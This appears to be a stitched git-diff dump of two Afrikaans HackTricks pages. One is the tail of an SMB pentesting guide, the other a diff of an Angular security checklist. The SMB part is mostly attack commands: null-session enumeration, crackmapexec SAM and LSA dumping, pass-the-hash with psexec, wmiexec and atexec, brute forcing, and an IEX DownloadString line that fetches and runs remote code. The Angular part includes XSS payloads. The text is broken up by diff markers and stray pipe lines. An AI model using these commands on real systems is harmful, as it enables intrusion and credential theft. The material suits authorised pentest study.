smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
of hierdie skrif (met 'n null-sessie)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
ip='<TARGET-IP-HERE>'
|
||||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||
|
||||
for share in ${shares[*]}; do
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
voorbeelde
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Lys deel van Windows / sonder derdeparty gereedskap**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
# Retrieves the SMB shares on a remote computer.
|
||||
get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
CMD-konsol
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (grafies)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafies), voer `\\<ip>\` in om die beskikbare nie-verborgen gedeeltes te sien.
|
||||
|
||||
### Monteer 'n gedeelde gids
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Laai lêers af**
|
||||
|
||||
Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Commands:
|
||||
|
||||
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
|
||||
- recurse: skakel rekursie aan (verstek: af)
|
||||
- prompt: skakel die vrae vir lêernaam af (verstek: aan)
|
||||
- mget: kopieer alle lêers wat met die masker ooreenstem van gasheer na kliënt masjien
|
||||
|
||||
(_Inligting van die manblad van smbclient_)
|
||||
|
||||
### Domein Gedeelde Gidse Soektog
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Spesifiek interessant van gedeelde lêers is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbare inligting bevat.
|
||||
|
||||
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
|
||||
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
|
||||
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
|
||||
|
||||
> [!NOTE]
|
||||
> Die **SYSVOL gedeelde lêer** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin mag jy **vind** baie verskillende batch, VBScript, en PowerShell **scripts**.\
|
||||
> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe inligting** soos **wagwoorde** mag **vind**.
|
||||
|
||||
## Lees Register
|
||||
|
||||
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbare inligting. Impacket **`reg.py`** laat jou toe om te probeer:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en mag 'n paar **gevaarlike konfigurasies** hê:
|
||||
|
||||
| **Instelling** | **Beskrywing** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? |
|
||||
| `read only = no` | Verbied die skepping en wysiging van lêers? |
|
||||
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
|
||||
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? |
|
||||
| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? |
|
||||
| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? |
|
||||
| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? |
|
||||
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? |
|
||||
| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? |
|
||||
| `magic output = script.out` | Waar moet die uitvoer van die magiese skrip gestoor word? |
|
||||
|
||||
Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind is**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Jy kan **authentiseer** na **kerberos** met die gereedskap **smbclient** en **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Voer Opdragte Uit**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec kan opdragte uitvoer **misbruik** van enige van **mmcexec, smbexec, atexec, wmiexec** met **wmiexec** as die **standaard** metode. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Albei opsies sal **'n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **'n uitvoerbare lêer oplaai** na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\
|
||||
**Meer inligting** oor [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)en [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTLM**
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Stealthily voer 'n opdrag-shel in sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM**.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Voer opdragte uit via die Taakbeplanner (met _\pipe\atsvc_ via SMB).\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket verwysing
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce gebruikers se akrediteerbesonderhede**
|
||||
|
||||
**Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay aanval
|
||||
|
||||
Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die authentikasie **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\
|
||||
[**Meer inligting oor hierdie aanval hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Dit gebeur met die funksies:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
|
||||
|
||||
.png>)
|
||||
|
||||
### SMBTrap met MitMf
|
||||
|
||||
.png>)
|
||||
|
||||
## NTLM Diefstal
|
||||
|
||||
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
|
||||
|
||||
[ sien: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,5 +1,7 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Die Kontrolelys
|
||||
|
||||
Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).
|
||||
@ -8,9 +10,9 @@ Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).
|
||||
* [ ] Sourcemap vir skrifte is gedeaktiveer in die projekkonfigurasie
|
||||
* [ ] Onbetroubare gebruikersinvoer word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
|
||||
* [ ] Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie
|
||||
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word
|
||||
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die toepassing vertrou word
|
||||
* [ ] `BypassSecurity*` metodes word nie gebruik met onbetroubare invoer nie
|
||||
* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks deurgegee nie
|
||||
* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks oorgedra nie
|
||||
|
||||
## Wat is Angular
|
||||
|
||||
@ -18,7 +20,7 @@ Angular is 'n **kragtige** en **oopbron** front-end raamwerk wat deur **Google**
|
||||
|
||||
## Raamwerk argitektuur
|
||||
|
||||
Om die basiese beginsels van Angular beter te verstaan, kom ons kyk na sy essensiële konsepte.
|
||||
Om die basiese beginsels van Angular beter te verstaan, laat ons deur sy essensiële konsepte gaan.
|
||||
|
||||
Gewone Angular projek lyk gewoonlik soos:
|
||||
```bash
|
||||
@ -39,17 +41,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik daaronder as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts`-lêer.
|
||||
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts` lêer.
|
||||
|
||||
Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts`-lêer.
|
||||
Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts` lêer.
|
||||
|
||||
Die Angular `Router` NgModule verskaf 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts`-lêer.
|
||||
Die Angular `Router` NgModule verskaf 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts` lêer.
|
||||
|
||||
Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat jy oor komponente wil deel, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik voorafgegaan deur die `@Injectable()` dekorator. Die dekorator verskaf die metadata wat toelaat dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinjeksie (DI) laat jou toe om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener af nie, valideer nie gebruikersinvoer nie, of log nie direk na die konsole nie; hulle delegeer sulke take aan dienste.
|
||||
|
||||
## Sourcemap konfigurasie
|
||||
|
||||
Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json`-lêer, het ons 'n opsie waargeneem om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer geaktiveer vir skrifte en is dit nie standaard versteek nie:
|
||||
Die Angular-raamwerk vertaal TypeScript-lêers in JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer geaktiveer vir skrifte en is dit nie standaard versteek nie:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,9 +60,9 @@ Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsco
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalise deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig ontleed deur te soek na anti-sekuriteitspatrone.
|
||||
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalisering deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig ontleed deur te soek na anti-sekuriteitspatrone.
|
||||
|
||||
Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaier ontwikkelaarstoestelle gevind word → Bronne (of Foutopsporing en Bronne) → \[id].main.js. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie, as die **hidden** opsie op **true** gestel is nie. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.
|
||||
Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaierontwikkelaar gereedskap → Bronne (of Foutopsporing en Bronne) → \[id].main.js gevind word. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.
|
||||
|
||||
## Data binding
|
||||
|
||||
@ -68,16 +70,16 @@ Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenst
|
||||
|
||||
Ons kan binding klassifiseer volgens datastroom:
|
||||
|
||||
* Datasoort na weergawe-teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _styl_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
|
||||
* Weergawe-teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
|
||||
* Data bron na weergawe teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _style_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
|
||||
* Weergawe teiken na data bron (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
|
||||
* Twee-rigting; kan toegepas word deur `[()]` in die sjabloon te gebruik.
|
||||
|
||||
Binding kan op eienskappe, gebeurtenisse en attribuut aangeroep word, sowel as op enige publieke lid van 'n bronrigting:
|
||||
Binding kan op eienskappe, gebeurtenisse, en attribuut, sowel as op enige openbare lid van 'n bronrigting genoem word:
|
||||
|
||||
| Tipe | Teiken | Voorbeelde |
|
||||
| --------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
|
||||
| TYPE | TEIKEN | VOORBEELDE |
|
||||
| --------- | -------------------------------------------------------- | ------------------------------------------------------------------- |
|
||||
| Eiendom | Element eiendom, Komponent eiendom, Rigting eiendom | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Gebeurtenis| Elementgebeurtenis, Komponentegebeurtenis, Rigtinggebeurtenis | \<button type="button" (click)="onSave()">Save |
|
||||
| Gebeurtenis| Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save |
|
||||
| Twee-rigting| Gebeurtenis en eiendom | \<input \[(ngModel)]="name"> |
|
||||
| Attribuut | Attribuut (die uitsondering) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Klas | klas eiendom | \<div \[class.special]="isSpecial">Special |
|
||||
@ -98,7 +100,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
```
|
||||
|
||||
Resultaat: `<script>alert(1)</script><h1>test</h1>`
|
||||
2. Binding aan eienskappe, attribuut, klasse en styl of `[attribute]="user_input"` - voer sanitisering uit gebaseer op die verskafde sekuriteitskonteks.
|
||||
2. Binding aan eienskappe, attribuut, klasse en style of `[attribute]="user_input"` - voer sanitisering uit gebaseer op die verskafde sekuriteitskonteks.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -113,10 +115,10 @@ Resultaat: `<div><h1>test</h1></div>`
|
||||
Daar is 6 tipes `SecurityContext` :
|
||||
|
||||
* `None`;
|
||||
* `HTML` word gebruik wanneer die waarde as HTML geïnterpreteer word;
|
||||
* `STYLE` word gebruik wanneer CSS in die `style` eiendom gebind word;
|
||||
* `URL` word gebruik vir URL-eienskappe, soos `<a href>`;
|
||||
* `SCRIPT` word gebruik vir JavaScript-kode;
|
||||
* `HTML` word gebruik, wanneer waarde as HTML geïnterpreteer word;
|
||||
* `STYLE` word gebruik, wanneer CSS aan die `style` eiendom gebind word;
|
||||
* `URL` word gebruik vir URL eiendomme, soos `<a href>`;
|
||||
* `SCRIPT` word gebruik vir JavaScript kode;
|
||||
* `RESOURCE_URL` as 'n URL wat as kode gelaai en uitgevoer word, byvoorbeeld, in `<script src>`.
|
||||
|
||||
## Kwesbaarhede
|
||||
@ -162,7 +164,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
|
||||
<h1>html tag</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
